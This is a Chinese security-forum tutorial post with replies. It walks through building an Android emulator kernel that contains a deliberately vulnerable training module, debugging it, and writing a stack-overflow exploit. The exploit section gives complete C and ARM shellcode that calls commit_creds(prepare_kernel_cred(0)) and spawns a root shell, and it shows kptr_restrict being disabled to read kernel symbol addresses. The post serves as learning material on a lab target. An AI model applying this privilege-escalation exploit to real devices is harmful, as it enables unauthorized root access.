吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 20459|回复: 28
收起左侧

[漏洞分析] android内核漏洞利用过程学习

  [复制链接]
inquisiter 发表于 2017-9-7 22:48
本帖最后由 inquisiter 于 2017-9-8 08:28 编辑

           本次实验旨在还原android内核利用及root环境搭建的基本过程,腾讯一个实验室讲过,我把自己在重建过程中的遇到坑记录一下。方便自己和初学者参考。环境在Ubuntu17。
一、简介
         1.下载内核代码,交叉编译环境(还原漏洞内核)重新编译
         2.搭建模拟器环境和调试环境,实现编译加载内核以及调试加载符号链接
         3.分析漏洞成因
         4.利用漏洞编写exp实现root
二、实现详情
        2.1、下载内核代码,交叉编译环境(还原漏洞内核)重新编译
        我们查看一下模拟器内核版本cat  /proc/cpuinfo

查看内核版本

查看内核版本

可以看到我们需要goldfish的内核,利用国内的镜像下载,谷歌的上不去,下载goldfish内核。

      git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git  
      $ cd goldfish/  
      # 查看可以下载的Linux内核源码的版本      
$ git branch -a      
* master        
remotes/origin/HEAD -> origin/master      
remotes/origin/android-3.10        
remotes/origin/android-3.18        
remotes/origin/android-goldfish-2.6.29        
remotes/origin/android-goldfish-3.10        
remotes/origin/android-goldfish-3.10-l-mr1-dev        
remotes/origin/android-goldfish-3.10-m-dev        
remotes/origin/android-goldfish-3.10-n-dev        
remotes/origin/android-goldfish-3.18        
remotes/origin/android-goldfish-3.18-dev        
remotes/origin/android-goldfish-3.4        
remotes/origin/android-goldfish-3.4-l-mr1-dev        
remotes/origin/android-goldfish-4.4-dev        
remotes/origin/heads/for/android-goldfish-3.18-dev        
remotes/origin/linux-goldfish-3.0-wip        
remotes/origin/master            
# 选择下载android-goldfish-3.4的内核源码      
$ git checkout remotes/origin/android-goldfish-3.4  
# 下载编译工具链            
$ git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.7        
             创建文件 run_make_config.sh如下:      
export CROSS_COMPILE=$(pwd)/arm-eabi-4.7/bin/arm-eabi-         
export ARCH=arm      
export SUBARCH=arm               
# 生成编译配置文件      
make goldfish_armv7_defconfig                  
赋予权限      
$ chmod +x run_make_config.sh        
$ source run_make_config.sh        
上述操作均在goldfish目录,否则报错            
修改生成的Android内核编译配置文件.config,增加Android内核编译的config选项。默认的 make goldfish_armv7_defconfig 配置没有打开调试选项,也没有使用HIGHMEM等选项,因此为了使用 kgdb 调试Android内核必须增加这些选项。这里手动打开goldfish/.config文件,增加调试相关的选项配置。      
1.    # 打开Android内核编译的配置文件        
2.    $ gedit .config        增加的编译配置选项:      
1.    # 设置模拟器的运行内存-可选参数        
2.    CONFIG_HIGHMEM=y         
3.           
4.    CONFIG_DEBUG_KERNEL=y         
5.    CONFIG_KGDB=y         
6.    CONFIG_DEBUG_INFO=y        
7.            
8.    # 真机设备调试需要设置这一项,模拟器不需要        
9.    #CONFIG_KGDB_SERIAL_CONSOLE=y        
10.      
11.# 可以是直接在配置文件中去掉这一项        
12.CONFIG_DEBUG_RODATA=n        
上面修改.config完成以后,保存和关闭.config文件,然后执行下面的命令进行Android内核源码的编译。由于前面修改Android内核编译配置时,增加了几个配置,因此编译一开始会有提示让选择配置选项,记得相关的配置全部选 y 就可以了。Android内核编译完成后,goldfish/arch/arm/boot/zImage文件出现,这个文件就是Android内核文件了。      
以下是编译一个漏洞进内核:      
下载github上的一个 安卓漏洞利用的项目, git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges      
然后使用项目中的patch文件把 patch 内核编译配置,来把项目中的带漏洞的模块编译进linux内核      
git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities      
这一步要在生成.config之后,如果早了命令会出错。      $ make -j4  
·  # 启动运行创建的Android模拟器Debug_Kernel        ·
$ emulator -avd Debug_Kernel -gpu mesa        命令行启动一下,可以的话关掉。     
$ emulator -avd Debug_Kernel -verbose -netfast -show-kernel -kernel ./arch/arm/boot/zImage  -gpu mesa -qemu -s -S      
调试内核一般不需要显示图形界面和声音,因此增加启动选项 -no-window, no-audio ,增加 -verbose -show-kernel 选项 可以看到内核的详细输出信息,-kernel 选项 指定加载的内核镜像文件为前面编译的Android内核镜像文件,增加 -qemu -s -S 选项 启动调试监听即Android内核启动以后会监听端口 1234 ,暂停等待调试,这时需要打开另一个命令终端运行 gdb 程序,对Android内核进行调试,还可以增加 -memory 2048 选项 设置运行的内存大小,增加运行内存使调试运行更流畅。
       2.2、搭建模拟器环境和调试环境,实现加载编译内核以及加载调试符号链接
默认有java的执行环境,自行安装sdk,并下载API19.这里有一个不用换源就能用的linux下的android sdk http://tools.android-studio.org/index.php/sdk/)      使用 android create avd 命令,创建Android模拟器Debug_Kernel的示例,如下:
# 查看本地下载的Android SDK  
$ android list targets           
# 创建Android模拟器 Debug_Kernel  
$ android create avd -n Debug_Kernel -t android-19 -b default/armeabi-v7a -s HVGA  
Android API 19的Android模拟器 Debug_Kernel 创建成功以后,
使用下面的命令检查新创建的Android模拟器 Debug_Kernel 能否正常启动成功。
# 查看已经创建的Android模拟器
$ emulator -list-avds     
# 启动运行创建的Android模拟器Debug_Kernel  
$ emulator -avd Debug_Kernel -gpu mesa

启动模拟器

启动模拟器

$ emulator -avd Debug_Kernel -verbose -netfast -show-kernel -kernel ./arch/arm/boot/zImage  -gpu mesa -qemu -s -S
其实Android模拟器 emulator 就是 基于qemu虚拟机 开发的,因此Android模拟器 emulator 在运行的时候也支持qemu虚拟机的命令,在上面以 调试模式启动 Android虚拟机 Debug_Kernel 时使用的启动选项 -qemu -s -S的作用,可以参考命令行的帮助,如下图:
配置交叉编译环境变量  
# 编辑环境变量配置文件      
$ sudo gedit /etc/profile              
# 添加到环境变量配置文件/etc/profile中的内容      
export ANDROID_TOOLCHAIN=/home/fly2016/Android4.4.4r1/goldfish-kernel-3.4/goldfish/arm-eabi-4.7     
export PATH=$PATH:${ANDROID_TOOLCHAIN}/bin/      
# 更新系统环境变量     
$ source /etc/profile         
# 测试是否配置成功      
$ arm-eabi-gdb  

OK,arm-eabi-gdb 工具的问题解决了,
下面在Android内核源码的根目录下,执行下面的命令进行Android内核的源码调试:
# 在Android内核源码的根目录下执行   
# 加载内核符号信息   
$ arm-eabi-gdb vmlinux         
# 连接远端的调试器   
$ target remote :1234         
# 测试命令   
$ list           
$ n  
$ arm-eabi-gdb --help

  2.3.分析漏洞成因      
首先看看漏洞代码, kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c:
代码会创建/proc/stack_buffer_overflow 设备文件 ,当向该设备文件调用 write 系统调用时会调用 proc_entry_write 函数进行处理。漏洞显而易见,在 proc_entry_write 函数中 定义了一个 64 字节大小的栈缓冲区 buf, 然后使用 copy_from_user(&buf, ubuf, count) 从用户空间 拷贝数据到 buf ,数据大小和内容均用户可控。于是当我们输入超过64字节时我们能够覆盖其他的数据,比如返回地址等,进而劫持程序执行流到我们的 shellcode 中 进行提权。
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <asm/uaccess.h>
#define MAX_LENGTH 64
MODULE_LICENSE("GPL");
MODULE_AUTHOR("Ryan Welton");
MODULE_DESCRIPTION("Stack Buffer Overflow Example");
static struct proc_dir_entry *stack_buffer_proc_entry;
int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO "stackBufferProcEntry: error copying data from userspace\n");
        return -EFAULT;
    }
    return count;
}
static int __init stack_buffer_proc_init(void)
{
    stack_buffer_proc_entry = create_proc_entry("stack_buffer_overflow", 0666, NULL);
    stack_buffer_proc_entry->write_proc = proc_entry_write;
    printk(KERN_INFO "created /proc/stack_buffer_overflow\n");
    return 0;
}
static void __exit stack_buffer_proc_exit(void)
{
    if (stack_buffer_proc_entry) {
        remove_proc_entry("stack_buffer_overflow", stack_buffer_proc_entry);
    }
    printk(KERN_INFO "vuln_stack_proc_entry removed\n");
}
module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);

首先我们来试试触发漏洞。先把模拟器打开,然后 adb shell 进入模拟器,使用  echo 命令向 /proc/stack_buffer_overflow 设备输入72字节的数据。   
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >  /proc/stack_buffer_overflow

触发异常

触发异常

溢出到返回地址

溢出到返回地址
可以看到 pc 寄存器的值 为 0x41414141 成功劫持。测试时该内核没开 pxn ,所以我们可以在用户态编写shellcode让内核去执行。提取的方式很简单,内核态调用  commit_creds(prepare_kernel_cred(0)); 提升权限为 root, 然后返回 用户态 执行 execl("/system/bin/sh", "sh", NULL); 起一个 root 权限的 shell, 完成提权。下面先获取 prepare_kernel_cred 和 commit_creds 函数的地址。在 /proc/kallsyms 文件中保存着所有的内核符号的名称和它在内存中的位置。不过在最近的内核版本中,为了使利用内核漏洞变得更加困难,linux内核目前禁止一般用户获取符号。

       当启用 kptr_restrict 时我们不能获取内核符号地址的。这里的地址每次开机都会改变,我们先忽略这个随机过程,直接硬编码。

root@generic:/ # cat /proc/kallsyms | grep commit_creds                        
00000000 T commit_creds
在本文中,把它禁用掉,不管他。

root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict      
echo 1 > /proc/sys/kernel/kptr_restrict                 
root@generic:/ # cat /proc/kallsyms | grep commit_creds                        
c0039834 T commit_creds

root@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred                 
c0039d34 T prepare_kernel_cred
c003a85c T prepare_kernel_cred   //myaddress
禁用掉之后,我们就可以通过 /proc/kallsyms 获取 commit_creds 和 prepare_kernel_cred的地址。

至此,提权的问题解决了,下面就是要回到用户态,在x86平台有 iret指令可以回到用户态,在arm下返回用户态就更简单了。在arm下 cpsr 寄存器的 M[4:0] 位用来表示 处理器的运行模式,具体可以看这个。所以我们把 cpsr 寄存器的 M[4:0] 位设置为 10000后就表示 处理器进入了用户模式。
2.4.利用漏洞编写exp实现root
所以现在的利用思路是:
1.调用 commit_creds(prepare_kernel_cred(0)) 提升权限
      为什么这里能提权,我说一下。其实这个和linux的权限管理过程有关。linux用户一般开启root直接都是su一下,输入密码就可以。android使用linux的内核,但android默认的用户没有root,被系统函数给降权了。怎么才能提权呢?其实只要找一个权限较高的进程让他set uid 、gid为0,那么用户自然就变成了root。本来想找一下这里的源码看一下,不过好像没必要。这里的函数应该就是实现类似的功能。如果没有高权限的进程设置uid、gid,提权一般是不可能了。
2.调用 mov r3, #0x40000010;   MSR    CPSR_c,R3; 设置 cpsr寄存器,使cpu进入用户模式
3.然后执行 execl("/system/bin/sh", "sh", NULL); 起一个 root 权限的 shell

最后的 exp :
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define MAX             64
int open_file(void)
{
        int fd = open("/proc/stack_buffer_overflow", O_RDWR);
        if (fd == -1)
                err(1, "open");
        return fd;
}
void payload(void)
{
                printf("[+] enjoy the shell\n");
                execl("/system/bin/sh", "sh", NULL);
}
extern uint32_t shellCode[];
asm
(
"    .text\n"
"    .align 2\n"
"    .code 32\n"
"    .globl shellCode\n\t"
"shellCode:\n\t"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR     R3, =0xc0039d34\n\t"   //prepare_kernel_cred addr
"MOV     R0, #0\n\t"
"BLX     R3\n\t"
"LDR     R3, =0xc0039834\n\t"   //commit_creds addr
"BLX     R3\n\t"
"mov r3, #0x40000010\n\t"
"MSR    CPSR_c,R3\n\t"
"LDR     R3, =0x879c\n\t"     // payload function addr
"BLX     R3\n\t"
);
void trigger_vuln(int fd)
{
        #define MAX_PAYLOAD (MAX + 2  * sizeof(void*) )
        char buf[MAX_PAYLOAD];
        memset(buf, 'A', sizeof(buf));
        void * pc = buf + MAX +  1 * sizeof(void*);
        printf("shellcdoe addr: %p\n", shellCode);
        printf("payload:%p\n", payload);
        *(void **)pc  = (void *) shellCode;   //ret addr
        /* Kaboom! */
        write(fd, buf, sizeof(buf) );
}
int main(void)
{
        int fd;
        fd = open_file();
        trigger_vuln(fd);
        payload();
        close(fd);
}

简单的说就是在用户态建立设置UID和gid为0的代码,使用溢出令内核态的代码跳转到用户态构造好的提权代码进行提权。
当然如果直接在用户态执行提权代码权限是不够的。
arm-linux-androideabi-gcc exp.c -o exp
将编译好的文件放到模拟器任意目录执行即可
     
对于编译一个基于某些依赖库的程序,而这些依赖库在Android系统中已经有时,最简便的方法是找到它的头文件(有的头文件交叉便器的include中没有),然后再从Android系统中拷贝出相应的.so文件,用交叉编译器或者ndk-build编译即可。
arm-linux-androideabi-gcc -I[头文件目录] -L[动态库位置] filename.c -o filename

或者编写Android.mk文件,利用ndk-build.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := client_android
LOCAL_SRC_FILES := client.c
LOCAL_CFLAGS += -I/home/wwtao/Desktop/bluetooth/include/include
LOCAL_LDLIBS += -L/home/wwtao/Desktop/bluetooth/libfrompanda -lbluetooth
include $(BUILD_EXECUTABLE)
#include $(BUILD_STATIC_LIBRARY)
#include $(BUILD_SHARED_LIBRARY)

其中,LOCAL_PATH := $(call my-dir) 设置LOCAL_PATH为当前了路径
include $(CLEAR_VARS)是清空当前的变量
LOCAL_MODULE 是编译后生成的文件名
LOCAL_SRC_FILES 是编译的源文件
LOCAL_CFLAGS 是设置编译时的头文件搜索路径
LOCAL_LDLIBS 是设置编译时搜索动态链接库的路径
include $(BUILD_EXECUTABLE) 是生成可执行文件,如果是BUILD_STATIC_LIBRARY是生成静态库,如果是BUILD_SHARED_LIBRARY。

如果出现   
Unable to auto-config arch from toolchain
这是说无法自动配置 toolchain,需要手动配置.先看看你的ndk支持编译哪些cpu  
oldfeel@oldfeel:~/android-ndk$ ls toolchains/
aarch64-linux-android-4.9        mipsel-linux-android-4.8
aarch64-linux-android-clang3.4   mipsel-linux-android-4.9
aarch64-linux-android-clang3.5   mipsel-linux-android-clang3.4
arm-linux-androideabi-4.6        mipsel-linux-android-clang3.5
arm-linux-androideabi-4.8        renderscript
arm-linux-androideabi-4.9        x86-4.6
arm-linux-androideabi-clang3.4   x86-4.8
arm-linux-androideabi-clang3.5   x86-4.9
llvm-3.4                         x86_64-4.9
llvm-3.5                         x86_64-clang3.4
mips64el-linux-android-4.9       x86_64-clang3.5
mips64el-linux-android-clang3.4  x86-clang3.4
mips64el-linux-android-clang3.5  x86-clang3.5
mipsel-linux-android-4.6

编辑 make-standalone-toolchain.sh,找到并修改 TOOLCHAIN_NAME= 为
   
vim build/tools/make-standalone-toolchain.sh
三、总结

我这里adb shell进入android默认就是root权限
$id
uid(0)root pid(0)root
这让我觉得本次实验好像有点蹩脚。不管怎样历经了很多莫名的错误和奔溃终于实现了。我感觉调试内核千万要用linux的系统,windows下各种神奇的错误,简直怀疑人生了。

参考:
http://www.360zhijia.com/360anquanke/288826.html      
http://blog.csdn.net/qq1084283172/article/details/        

   

免费评分

参与人数 17威望 +1 吾爱币 +25 热心值 +17 收起 理由
wind706 + 1 + 1 我很赞同!
尘世213 + 1 + 1 看了这些东西,我的肚子一瞬间太难消化。我多看看书把。不过楼主好厉害,写.
liutao1896 + 1 + 1 我很赞同!
siuhoapdou + 1 + 1 谢谢@Thanks!
Hmily + 1 + 10 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
crac + 1 + 1 热心回复!
农夫山泉有点咸 + 1 + 1 用心讨论,共获提升!
rlive + 1 + 1 用心讨论,共获提升!
Parcelable + 1 + 1 我很赞同!
wnagzihxain + 1 + 1 不错
天游客 + 1 + 1 我很赞同!
李莹莹 + 2 + 1 用心讨论,共获提升!
Tim-52Pojie + 1 + 1 用心讨论,共获提升!
peter_king + 1 谢谢@Thanks!
qaz003 + 1 用心讨论,共获提升!
mfxsh + 1 + 1 鼓励转贴优秀软件安全工具和文档!
rainOvO + 1 + 1 前排学习!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

wnagzihxain 发表于 2018-3-1 19:04
楼主最后那个蹩脚的问题可以这样解决:
[Shell] 纯文本查看 复制代码
root@generic:/ # id
uid=0(root) gid=0(root) context=u:r:shell:s0
root@generic:/ # su 2000
root@generic:/ $ id
uid=2000(shell) gid=2000(shell) context=u:r:su:s0
夏雨微凉 发表于 2017-9-8 08:04 来自手机
merlinjun 发表于 2017-9-8 08:48
yssun 发表于 2017-9-8 09:49
十分棒的经验分享a
星星当空照 发表于 2017-9-8 10:00
这个厉害了
Parcelable 发表于 2017-9-8 10:19
学习下, 虽然对linux内核没有深入了解
大发DDDa 发表于 2017-9-8 10:23
收藏了 感谢楼主分享
mayl8822 发表于 2017-9-8 10:24
感谢分享
rlive 发表于 2017-9-8 10:46
mark做个记录,有空闲的要试试
残云 发表于 2017-9-8 11:01
学习学习
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-19 23:46

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表